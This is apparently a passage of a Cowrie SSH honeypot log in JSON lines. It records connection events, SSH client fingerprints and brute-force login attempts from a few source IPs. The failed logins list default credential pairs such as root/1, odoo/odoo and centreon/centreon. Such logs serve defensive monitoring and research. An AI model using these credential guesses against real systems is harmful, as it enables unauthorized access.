{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:07:27.230830Z","src_ip":"192.109.200.78","session":"20de7fdd8425","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"A123456a","message":"login attempt [ubuntu/A123456a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:07:27.475101Z","src_ip":"192.109.200.78","session":"20de7fdd8425","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:07:28.644611Z","src_ip":"192.109.200.78","session":"20de7fdd8425","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.29.234.126","src_port":51006,"dst_ip":"159.203.135.109","dst_port":22,"session":"81e6d3929e51","protocol":"ssh","message":"New connection: 46.29.234.126:51006 (159.203.135.109:22) [session: 81e6d3929e51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:07:29.178949Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:07:29.183718Z","src_ip":"46.29.234.126","session":"81e6d3929e51","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:07:29.296576Z","src_ip":"46.29.234.126","session":"81e6d3929e51","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Password123@","message":"login attempt [ubuntu/Password123@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:07:29.774077Z","src_ip":"46.29.234.126","session":"81e6d3929e51","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":60698,"dst_ip":"10.17.0.5","dst_port":22,"session":"1e95f9e33ec1","protocol":"ssh","message":"New connection: 192.109.200.78:60698 (10.17.0.5:22) [session: 1e95f9e33ec1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:07:30.557244Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:07:30.560928Z","src_ip":"192.109.200.78","session":"1e95f9e33ec1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:07:30.641400Z","src_ip":"192.109.200.78","session":"1e95f9e33ec1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:07:30.886233Z","src_ip":"46.29.234.126","session":"81e6d3929e51","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"123123","message":"login attempt [deploy/123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:07:31.106978Z","src_ip":"192.109.200.78","session":"1e95f9e33ec1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:07:32.191553Z","src_ip":"192.109.200.78","session":"1e95f9e33ec1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":55186,"dst_ip":"10.17.0.5","dst_port":22,"session":"0d57a3fc318c","protocol":"ssh","message":"New connection: 192.109.200.78:55186 (10.17.0.5:22) [session: 0d57a3fc318c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:07:34.162008Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:07:34.165847Z","src_ip":"192.109.200.78","session":"0d57a3fc318c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:07:34.248218Z","src_ip":"192.109.200.78","session":"0d57a3fc318c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1","message":"login attempt [root/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:07:34.493164Z","src_ip":"192.109.200.78","session":"0d57a3fc318c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:07:35.577216Z","src_ip":"192.109.200.78","session":"0d57a3fc318c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":55194,"dst_ip":"10.17.0.5","dst_port":22,"session":"063c8c0e9fb7","protocol":"ssh","message":"New connection: 192.109.200.78:55194 (10.17.0.5:22) [session: 063c8c0e9fb7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:07:37.602259Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:07:37.606174Z","src_ip":"192.109.200.78","session":"063c8c0e9fb7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:07:37.687072Z","src_ip":"192.109.200.78","session":"063c8c0e9fb7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"123456789","message":"login attempt [ftpuser/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:07:37.934506Z","src_ip":"192.109.200.78","session":"063c8c0e9fb7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:07:39.020203Z","src_ip":"192.109.200.78","session":"063c8c0e9fb7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":55206,"dst_ip":"10.17.0.5","dst_port":22,"session":"3aaa9177c2d9","protocol":"ssh","message":"New connection: 192.109.200.78:55206 (10.17.0.5:22) [session: 3aaa9177c2d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:07:41.027831Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:07:41.031677Z","src_ip":"192.109.200.78","session":"3aaa9177c2d9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:07:41.115294Z","src_ip":"192.109.200.78","session":"3aaa9177c2d9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo","password":"odoo","message":"login attempt [odoo/odoo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:07:41.569657Z","src_ip":"192.109.200.78","session":"3aaa9177c2d9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:07:42.653236Z","src_ip":"192.109.200.78","session":"3aaa9177c2d9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":49142,"dst_ip":"10.17.0.5","dst_port":22,"session":"e840e4bdf09b","protocol":"ssh","message":"New connection: 192.109.200.78:49142 (10.17.0.5:22) [session: e840e4bdf09b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:07:44.768414Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:07:44.772341Z","src_ip":"192.109.200.78","session":"e840e4bdf09b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:07:44.854583Z","src_ip":"192.109.200.78","session":"e840e4bdf09b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"security","password":"security","message":"login attempt [security/security] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:07:45.098060Z","src_ip":"192.109.200.78","session":"e840e4bdf09b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:07:46.182033Z","src_ip":"192.109.200.78","session":"e840e4bdf09b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":49162,"dst_ip":"10.17.0.5","dst_port":22,"session":"4fa04439997e","protocol":"ssh","message":"New connection: 192.109.200.78:49162 (10.17.0.5:22) [session: 4fa04439997e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:07:48.198613Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:07:48.202900Z","src_ip":"192.109.200.78","session":"4fa04439997e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:07:48.291951Z","src_ip":"192.109.200.78","session":"4fa04439997e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"centreon","password":"centreon","message":"login attempt [centreon/centreon] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:07:48.535045Z","src_ip":"192.109.200.78","session":"4fa04439997e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:07:49.619951Z","src_ip":"192.109.200.78","session":"4fa04439997e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":33168,"dst_ip":"10.17.0.5","dst_port":22,"session":"702ce72b39fe","protocol":"ssh","message":"New connection: 192.109.200.78:33168 (10.17.0.5:22) [session: 702ce72b39fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:07:51.889621Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:07:51.893533Z","src_ip":"192.109.200.78","session":"702ce72b39fe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 